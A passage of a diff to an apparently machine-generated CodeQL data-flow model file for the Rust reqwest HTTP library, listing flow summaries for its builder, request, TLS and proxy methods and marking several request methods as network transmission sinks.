"Argument[self].Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Reader(0)]", "ReturnValue.Field[crate::blocking::body::Reader::Reader(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::len", "Argument[self].Field[crate::blocking::body::Body::kind].Field[crate::blocking::body::Kind::Reader(1)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::delete", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::get", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::head", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::patch", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::post", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::put", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::request", "Argument[self].Reference", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from", "Argument[0]", "ReturnValue.Field[crate::blocking::client::ClientBuilder::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::add_crl", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::add_crls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::add_root_certificate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::brotli", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connect_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connection_verbose", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connector_layer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::cookie_provider", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::cookie_store", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::danger_accept_invalid_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::danger_accept_invalid_hostnames", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::default_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::deflate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::dns_resolver", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::gzip", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::hickory_dns", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http09_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_obsolete_multiline_headers_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_spaces_after_header_name_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_ignore_invalid_headers_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_title_case_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_adaptive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_initial_connection_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_initial_stream_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_max_frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_max_header_list_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::identity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::local_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::max_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::min_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_brotli", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_deflate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_gzip", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_hickory_dns", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_trust_dns", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_zstd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool_idle_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool_max_idle_per_host", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::proxy", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::redirect", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::referer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve_to_addrs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_native_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_root_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_webpki_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_info", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_sni", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::trust_dns", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_native_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_preconfigured_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_rustls_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::user_agent", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::zstd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_reader", "Argument[self]", "ReturnValue.Field[crate::blocking::multipart::Reader::form]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::reader", "Argument[self]", "ReturnValue.Field[crate::blocking::multipart::Reader::form]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::metadata", "Argument[self].Field[crate::blocking::multipart::Part::meta]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file_name", "Argument[self].Field[crate::blocking::multipart::Part::value]", "ReturnValue.Field[crate::blocking::multipart::Part::value]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self].Field[crate::blocking::multipart::Part::value]", "ReturnValue.Field[crate::blocking::multipart::Part::value]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::mime_str", "Argument[self].Field[crate::blocking::multipart::Part::value]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::blocking::multipart::Part::value]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body", "Argument[self].Field[crate::blocking::request::Request::body].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body_mut", "Argument[self].Field[crate::blocking::request::Request::body]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_async", "Argument[self].Field[crate::blocking::request::Request::inner]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::method", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::method]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::method_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::method]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::method]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::url]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::timeout]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::version]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version_mut", "Argument[self].Field[crate::blocking::request::Request::inner].Field[crate::async_impl::request::Request::version]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bearer_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build", "Argument[self].Field[crate::blocking::request::RequestBuilder::request]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build_split", "Argument[self].Field[crate::blocking::request::RequestBuilder::client]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build_split", "Argument[self].Field[crate::blocking::request::RequestBuilder::request]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::form", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_parts", "Argument[0]", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::json", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::multipart", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::blocking::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::blocking::request::RequestBuilder::request]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::query", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::send", "Argument[self].Field[crate::blocking::request::RequestBuilder::request].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::send", "Argument[self].Field[crate::blocking::request::RequestBuilder::request].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::blocking::response::Response::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::blocking::response::Response::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[2]", "ReturnValue.Field[crate::blocking::response::Response::_thread_handle]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::blocking::response::Response::inner].Field[crate::async_impl::response::Response::url]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[0]", "ReturnValue.Field[crate::connect::ConnectorBuilder::inner].Field[crate::connect::Inner::DefaultTls(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[1]", "ReturnValue.Field[crate::connect::ConnectorBuilder::inner].Field[crate::connect::Inner::DefaultTls(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[2]", "ReturnValue.Field[crate::connect::ConnectorBuilder::proxies]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[3]", "ReturnValue.Field[crate::connect::ConnectorBuilder::user_agent]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[5]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from_built_default_tls", "Argument[6]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::proxies]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[3]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::user_agent]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[5]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_default_tls", "Argument[6]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[0]", "ReturnValue.Field[crate::connect::ConnectorBuilder::inner].Field[crate::connect::Inner::RustlsTls::http]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[2]", "ReturnValue.Field[crate::connect::ConnectorBuilder::proxies]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[3]", "ReturnValue.Field[crate::connect::ConnectorBuilder::user_agent]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[5]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_rustls_tls", "Argument[6]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_timeout", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_verbose", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::verbose].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::set_verbose", "Argument[0]", "Argument[self].Field[crate::connect::ConnectorBuilder::verbose].Field[crate::connect::verbose::Wrapper(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::source", "Argument[self].Field[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::source", "Argument[self].Field[crate::dns::hickory::HickoryDnsSystemConfError(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::dns::resolve::DnsResolverWithOverrides::dns_resolver]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::dns::resolve::DynResolver::resolver]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_url", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::without_url", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::basic_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::custom_http_auth", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::All(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::Http(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::intercept", "Argument[self].Field[crate::proxy::Proxy::intercept].Field[crate::proxy::Intercept::Https(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[0]", "Argument[self].Field[crate::proxy::Proxy::no_proxy]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[0]", "ReturnValue.Field[crate::proxy::Proxy::no_proxy]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_proxy_scheme", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::previous", "Argument[self].Field[crate::redirect::Attempt::previous]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::status", "Argument[self].Field[crate::redirect::Attempt::status]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::url", "Argument[self].Field[crate::redirect::Attempt::next]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::limited", "Argument[0]", "ReturnValue.Field[crate::redirect::Policy::inner].Field[crate::redirect::PolicyKind::Limit(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::as_str", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::support::delay_layer::Delay::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::support::delay_layer::Delay::delay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::layer", "Argument[0]", "ReturnValue.Field[crate::support::delay_layer::Delay::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::layer", "Argument[self].Field[crate::support::delay_layer::DelayLayer::delay]", "ReturnValue.Field[crate::support::delay_layer::Delay::delay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::support::delay_layer::DelayLayer::delay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::support::delay_layer::ResponseFuture::response]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::support::delay_layer::ResponseFuture::sleep]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::addr", "Argument[self].Field[crate::support::delay_server::Server::addr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_addr", "Argument[0]", "Argument[self].Field[crate::support::server::Http3::addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_addr", "Argument[0]", "ReturnValue.Field[crate::support::server::Http3::addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::with_addr", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::addr", "Argument[self].Field[crate::support::server::Server::addr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::as_rustls_crl", "Argument[self].Field[crate::tls::CertificateRevocationList::inner].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::as_rustls_crl", "Argument[self].Field[crate::tls::CertificateRevocationList::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::clone", "Argument[self].Field[crate::tls::ClientCert::Pem::certs].Reference", "ReturnValue.Field[crate::tls::ClientCert::Pem::certs]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::tls::IgnoreHostname::roots]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::tls::IgnoreHostname::signature_algorithms]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::peer_certificate", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::total_timeout", "Argument[0]", "ReturnValue.Field[crate::async_impl::body::TotalTimeoutBody::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::total_timeout", "Argument[1]", "ReturnValue.Field[crate::async_impl::body::TotalTimeoutBody::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::with_read_timeout", "Argument[0]", "ReturnValue.Field[crate::async_impl::body::ReadTimeoutBody::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::async_impl::body::with_read_timeout", "Argument[1]", "ReturnValue.Field[crate::async_impl::body::ReadTimeoutBody::timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::error::cast_to_internal_error", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - addsTo: pack: codeql/rust-all extensible: sinkModel @@ -16,8 +385,13 @@ extensions: - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::patch", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::post", "Argument[0]", "transmission", "df-generated"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::put", "Argument[0]", "transmission", "df-generated"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::call", "Argument[0]", 